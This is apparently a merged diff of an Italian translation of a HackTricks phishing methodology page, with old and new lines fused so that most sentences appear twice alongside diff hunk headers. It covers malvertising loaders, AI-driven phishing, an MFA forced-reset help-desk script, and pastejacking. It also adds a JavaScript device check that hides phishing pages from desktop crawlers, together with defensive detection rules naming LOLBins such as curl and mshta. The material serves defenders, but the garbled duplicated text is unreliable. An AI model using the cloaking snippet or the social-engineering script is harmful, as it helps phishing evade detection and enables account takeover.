Gruppi commodity compensano il costo delle operazioni high-touch con attacchi di massa che trasformano **motori di ricerca & reti pubblicitarie nel canale di consegna**. Gruppi commodity compensano il costo delle operazioni high-touch con attacchi di massa che trasformano **motori di ricerca & reti pubblicitarie nel canale di distribuzione**.
1. **SEO poisoning / malvertising** spinge un risultato falso come `chromium-update[.]site` tra i primi annunci di ricerca. 1. **SEO poisoning / malvertising** spinge un risultato fake come `chromium-update[.]site` in cima agli annunci di ricerca.
2. La vittima scarica un piccolo **first-stage loader** (spesso JS/HTA/ISO). Esempi osservati da Unit 42: 2. La vittima scarica un piccolo **first-stage loader** (spesso JS/HTA/ISO). Esempi osservati da Unit 42:
* `RedLine stealer` * `RedLine stealer`
* `Lumma stealer` * `Lumma stealer`
* `Lampion Trojan` * `Lampion Trojan`
3. Il loader esfiltra cookie del browser + database credenziali, poi scarica un **silent loader** che decide *in tempo reale* se distribuire: 3. Il loader esfiltra cookie del browser + database di credenziali, poi scarica un **silent loader** che decide *in tempo reale* se distribuire:
* RAT (es. AsyncRAT, RustDesk) * RAT (es. AsyncRAT, RustDesk)
* ransomware / wiper * ransomware / wiper
* componente di persistenza (chiave Run del registro + scheduled task) * componente di persistenza (chiave Run nel registro + scheduled task)
### Consigli per hardening ### Hardening tips
* Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** sia sugli *search-ads* sia sulle email. * Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** sia sugli annunci di ricerca sia sulle email.
* Restringi l'installazione di software a pacchetti MSI firmati / Store, nega l'esecuzione di `HTA`, `ISO`, `VBS` tramite policy. * Restringi l'installazione di software a pacchetti MSI firmati / Store, vieta l'esecuzione di `HTA`, `ISO`, `VBS` tramite policy.
* Monitora processi figli dei browser che aprono installer: * Monitora i processi figli dei browser che aprono installer:
```yaml ```yaml
- parent_image: /Program Files/Google/Chrome/* - parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe and child_image: *\\*.exe
``` ```
* Caccia le LOLBins frequentemente abusate dai first-stage loader (es. `regsvr32`, `curl`, `mshta`). * Cerca LOLBins frequentemente abusati dai first-stage loader (es. `regsvr32`, `curl`, `mshta`).
--- ---
## Operazioni di phishing potenziate dall'AI ## AI-Enhanced Phishing Operations
Gli attaccanti ora concatenano **API LLM & voice-clone** per esche totalmente personalizzate e interazioni in tempo reale. Gli attaccanti ora concatenano **API LLM & voice-clone** per lure completamente personalizzati e interazioni in tempo reale.
| Layer | Esempio d'uso da parte di un threat actor | | Layer | Example use by threat actor |
|-------|-------------------------------------------| |-------|-----------------------------|
|Automazione|Generare e inviare >100k email / SMS con testi randomizzati & link di tracking.| |Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|AI generativa|Produrre email *one-off* che citano M&A pubblici, battute interne dai social; deep-fake della voce del CEO in una chiamata di callback.| |Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|AI agentica|Registrare domini autonomamente, scrape di intel open-source, creare mail di follow-up quando una vittima clicca ma non invia credenziali.| |Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnt submit creds.|
**Difesa:** **Difesa:**
• Aggiungi **banner dinamici** che evidenzino messaggi inviati da automazione non attendibile (via anomalie ARC/DKIM). • Aggiungi **banner dinamici** che evidenzino messaggi inviati da automazioni non attendibili (tramite anomalie ARC/DKIM).
• Distribuisci **frasi di challenge biometrica vocale** per richieste telefoniche ad alto rischio. • Deploya **challenge biometriche vocali** per le richieste telefoniche ad alto rischio.
• Simula continuamente esche generate da AI nei programmi di awareness i template statici sono obsoleti. • Simula continuamente lure generati da AI nei programmi di awareness i template statici sono obsoleti.
See also agentic browsing abuse for credential phishing: See also agentic browsing abuse for credential phishing:
@ -527,19 +527,19 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
--- ---
## MFA Fatigue / Push Bombing Variant Forced Reset ## MFA Fatigue / Push Bombing Variant Forced Reset
Oltre al classico push-bombing, gli operatori semplicemente **forzano una nuova registrazione MFA** durante la chiamata con l'help-desk, azzerando il token esistente dell'utente. Qualsiasi prompt di login successivo apparirà legittimo alla vittima. Oltre al classico push-bombing, gli operatori semplicemente **forzano una nuova registrazione MFA** durante la chiamata all'help-desk, annullando il token esistente dell'utente. Qualsiasi successiva richiesta di login apparirà legittima per la vittima.
```text ```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail [Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device [Attacker] → Completes new TOTP enrolment on their own device
``` ```
Monitorare eventi di AzureAD/AWS/Okta in cui **`deleteMFA` + `addMFA`** si verificano **dallo stesso IP entro pochi minuti**. Monitor for AzureAD/AWS/Okta events where **`deleteMFA` + `addMFA`** occur **within minutes from the same IP**.
## Clipboard Hijacking / Pastejacking ## Clipboard Hijacking / Pastejacking
Gli attaccanti possono copiare silenziosamente comandi malevoli negli appunti (clipboard) della vittima da una pagina web compromessa o typosquatted e poi indurre l'utente a incollarli in **Win + R**, **Win + X** o in una finestra del terminale, eseguendo codice arbitrario senza alcun download o allegato. Gli aggressori possono copiare silenziosamente comandi malevoli nella clipboard della vittima da una pagina web compromessa o typosquatted e poi indurre l'utente a incollarli dentro **Win + R**, **Win + X** o una terminal window, eseguendo codice arbitrario senza alcun download o attachment.
{{#ref}} {{#ref}}
@ -553,6 +553,33 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md mobile-phishing-malicious-apps.md
{{#endref}} {{#endref}}
### Mobilegated phishing to evade crawlers/sandboxes
Gli operatori mettono sempre più spesso i loro flussi di phishing dietro un semplice controllo del dispositivo, in modo che i desktop crawlers non raggiungano mai le pagine finali. Uno schema comune è uno script che verifica se il DOM è touch-capable e invia il risultato a un server endpoint; i client nonmobile ricevono HTTP 500 (o una pagina vuota), mentre agli utenti mobile viene servito il flusso completo.
Minimal client snippet (typical logic):
```html
<script src="/static/detect_device.js"></script>
```
`detect_device.js` logica (semplificata):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Comportamento del server spesso osservato:
- Imposta un cookie di sessione durante il primo caricamento.
- Accetta `POST /detect {"is_mobile":true|false}`.
- Restituisce 500 (o placeholder) alle GET successive quando `is_mobile=false`; serve il phishing solo se `true`.
Euristiche di ricerca e rilevamento:
- urlscan query: `filename:"detect_device.js" AND page.status:500`
- Telemetria web: sequenza di `GET /static/detect_device.js``POST /detect` → HTTP 500 per nonmobile; i percorsi legittimi per vittime mobile restituiscono 200 con HTML/JS successivo.
- Bloccare o esaminare con attenzione le pagine che condizionano il contenuto esclusivamente su `ontouchstart` o controlli di dispositivo simili.
Consigli di difesa:
- Eseguire crawler con fingerprint simili a dispositivi mobile e JS abilitato per rivelare contenuti protetti.
- Generare allerta su risposte 500 sospette successive a `POST /detect` su domini appena registrati.
## Riferimenti ## Riferimenti
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
@ -560,5 +587,6 @@ mobile-phishing-malicious-apps.md
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) - [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}